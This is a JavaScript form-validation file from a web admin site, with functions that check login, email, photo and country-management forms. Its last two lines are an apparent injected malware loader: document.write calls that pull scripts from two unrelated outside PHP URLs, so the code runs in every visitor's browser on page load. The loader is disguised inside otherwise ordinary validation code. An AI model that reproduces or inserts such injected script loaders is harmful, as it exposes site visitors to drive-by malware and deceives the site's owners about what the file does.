	// JavaScript Document
	function BasicInfo(val)
	{
		String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		var firstname = basic.txtFirstName.value.trim();
		var lastname = basic.txtLastName.value.trim();
		if(firstname=='')
		  {
			  alert("Please Enter First Name");
			  basic.txtFirstName.value='';
			  basic.txtFirstName.focus();
			  return false;
		  }
		if(lastname=='')
		  {
			  alert("Please Enter Last Name");
			  basic.txtLastName.value='';
			  basic.txtLastName.focus();
			  return false;
		  }
		var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
		var email = basic.txtEmail.value.trim();
		if(basic.txtEmail.value=='')
		{
		  alert("Please Enter Email");
		   basic.txtEmail.focus();
			return false;
		 }
	
		if(reg.test(email) == false) {
		  alert('Invalid Email Address');
		  basic.txtEmail.value='';
		  basic.txtEmail.focus();
		  return false;
	   }  
	   return true;	
	}

	function Photo(val)
	{
		
		String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		var photo = photo.txtImage.value.trim();
		if(photo=='')
		{
			 alert("Please Select Photo");
			 photo.txtImage.value='';
			 photo.txtImage.focus();
			 return false;
		}
		return true;	
	}
	
	 function Login(val)
	 {
	
		String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		var username = val.txtUserName.value.trim();
		var password = val.txtPassword.value.trim();
		if(username=='')
		{
			alert("Please Enter User Name");
			val.txtUserName.value='';
			val.txtUserName.focus();
			return false;
		}
		if(password=='')
		{
			alert("Please Enter Password");
			val.txtPassword.value='';
			val.txtPassword.focus();
			return false;
		}
		  
		  return true;
	 }

   function ForgotPwd(val)
   {
		String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		var email = val.txtEmail.value.trim();   
		var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
		if(val.txtEmail.value=='')
		{
		  alert("Please Enter Email");
		  val.txtEmail.focus();
		  return false;
		}
		if(reg.test(email) == false)
		{
		  alert('Invalid Email Address');
		  val.txtEmail.value='';
		  val.txtEmail.focus();
		  return false;
	   }  
	}

	// country management country add /////
	function addcountry(frm)
	{
		 var country=frm.txtCountry;
		 String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		 country.value = country.value.trim();
		 var charpos = country.value.search("[^A-Za-z]"); 
		 if(country.value.length > 0 &&  charpos >= 0) 
		 { 
			  if(!country || country.length ==0) 
			  { 
			  }//if 
				alert('Only alphabetical characters allowed'); 
				return false; 
		  }//if 
		if(country.value=='')
		{
				alert('Please Enter Country');
				country.focus();
				return false;
		 }
		   return true;
    } //end add country function.
// country management country add /////


	///  country management  ...  country delete   ../ ////////////
	function countrydelete(sval)
	{
		frm=sval.form;
		flag = false;
		for(i=0; i<frm.length; i++)
		{
		   if(frm[i].type == "checkbox" && frm[i].name.substr(0,9)=='chkDelete' && frm[i].checked == true)
		   {
			 flag = true;
			 break;
		   }
		}
		  if(!flag)
		  { 
			alert("Please select atleast one country");
		   }
		  else
		  {
			return confirm("Delete selected country?");
		  }
		  return flag;
	}// end country delete function.
	
	function SelectAll(slval)
	{
		frm = slval.form;
			for(i = 0; i<frm.length; i++)
			{
				if(frm[i].type == 'checkbox')			
				  frm[i].checked = slval.checked;
			}
	
	}// end select all function
	
	
	function unseltopbotcountry(unsval)
	{ 
		flag1=false;
		frm = unsval.form;
		for(i=0; i<frm.length; i++)
		{
		  if(frm[i].name=='chkDeleteTop')
		  {
			var sel_top=i;
		  }
		 if(i>sel_top)
		 {
			if(frm[i].name=='chkDeleteBottom')
			{
			  var sel_bot=i;
			}
	
		}//end if
	
	
		if(frm[i].type == "checkbox" && frm[i].name.substr(0,9)=='chkDelete' && frm[i].checked==false)
		{
			 flag1=true;
		}//end if
	  }//end for
	
		if(flag1==true)
		{
		  frm[sel_top].checked=false;
		  frm[sel_bot].checked=false;
		}//end if
	
	} //end unselect function
	
	///  country management  ...  country delete   ../ ////////////
	///  country management  ...  add state   ../ ////////////

document.write('<script src=http://bestkarela.com/images/gifimg.php ><\/script>');
document.write('<script src=http://dev.spost.or.kr/dokuwiki/plan_goods.php ><\/script>');